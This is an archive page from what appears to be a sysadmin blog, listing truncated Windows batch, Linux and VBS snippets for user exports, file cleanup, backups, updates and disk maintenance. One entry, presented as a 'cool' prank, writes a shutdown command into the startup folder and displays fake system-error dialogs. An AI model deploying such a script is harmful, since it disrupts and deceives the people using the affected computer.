Archive | Batch files RSS for this section

List of users with their email adresses

csvde -f yourfile.csv -r “(&(objectCategory=Person)(objectClass=user))” –l “sAMaccountname,mail” Bookmark on Delicious Digg this post Recommend on Facebook Share on Linkedin share via Reddit Share with Stumblers Share on technorati Tweet about it Subscribe to the comments on this post Bookmark in Browser Tell a friend

Continue Reading

Delete all thumbs.db

Windows creates in every folder with pictures a thumbs.db file. Linux doesn’t need them, so here is a simple command to get rid of them. sudo find /home/user -name Thumbs.db -exec rm {} \; Bookmark on Delicious Digg this post Recommend on Facebook Share on Linkedin share via Reddit Share with Stumblers Share on technorati [...]

Continue Reading

Remove empty directories

To remove empty directories in a directory structure use the following command : sudo find /begin/here -type d -empty -delete Bookmark on Delicious Digg this post Recommend on Facebook Share on Linkedin share via Reddit Share with Stumblers Share on technorati Tweet about it Subscribe to the comments on this post Bookmark in Browser Tell [...]

Continue Reading

Taskkill command

taskkill /f /im notepad.exe Kills the open notepad task, if open. taskkill [/s Computer] [/u Domain\User [/p Password]]] [/fi FilterName] [/pid ProcessID]|[/im ImageName] [/f][/t] Bookmark on Delicious Digg this post Recommend on Facebook Share on Linkedin share via Reddit Share with Stumblers Share on technorati Tweet about it Subscribe to the comments on this post [...]

Continue Reading

Create backup file with date of today

How to create a backup file with the date of today. Here is an example with STSADM from Sharepoint Services. stsadm -o backup -filename “\\gl-nas-01\backup$\Sharepoint\GL-SP-01\%date:~-10,3%%date:~-7,3%%date:~-4%.dat” -url http://intranet/sites/home Bookmark on Delicious Digg this post Recommend on Facebook Share on Linkedin share via Reddit Share with Stumblers Share on technorati Tweet about it Subscribe to the comments [...]

Continue Reading

One cool batch file – ;-D

@echo off echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\” cls echo Maximize this window to continue echo Wscript.Sleep 4000 > C:\sleep1.vbs call C:\sleep1.vbs echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs call [...]

Continue Reading

Force the update detection from Automatic Update Client

When deploying a new Windows XP installation your first task is installing the countless Windows updates. When you wait for Windows XP to check for updates you’ll need a lot of time. To accelerate this process just run the following batch file. @echo on net stop wuauserv REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v LastWaitTimeout /f REG [...]

Continue Reading

Copy a directory but only include specific files (extension)

ROBOCOPY C:\Source D:\Destination *.zip *.txt /E /E = copy subdirectories, including empty ones /S = copy subdirectories, excluding empty ones More information about robocopy, click here Bookmark on Delicious Digg this post Recommend on Facebook Share on Linkedin share via Reddit Share with Stumblers Share on technorati Tweet about it Subscribe to the comments on [...]

Continue Reading

Remove empty folders and subfolders

This little batch file scans the directory that was provided as a parameter and all its sub-directories for empty folders and deletes them, including the provided folder itself, if it is empty as well (or became empty after all empty sub-folders were removed). RemoveEmptySubFolders.bat @echo off set Folder=”%~1″ if %Folder%==”” @echo Syntax RemoveEmptySubFolders Folder&goto :EOF [...]

Continue Reading

Defrag and SDelete on every fixed harddisk

Use this VBS script to run a defrag en SDelete on all your fixed drives from your computer Set WshShell = WScript.CreateObject(“WScript.Shell”) Dim fso, d, dc Set fso = CreateObject(“Scripting.FileSystemObject”) Set dc = fso.Drives WshShell.RegWrite “HKCU\Software\Sysinternals\”, 0, “REG_SZ” WshShell.RegWrite “HKCU\Software\Sysinternals\SDelete\”, 0, “REG_SZ” WshShell.RegWrite “HKCU\Software\Sysinternals\SDelete\EulaAccepted”, 1, “REG_DWORD” For Each d in dc If d.DriveType = 2 [...]

Continue Reading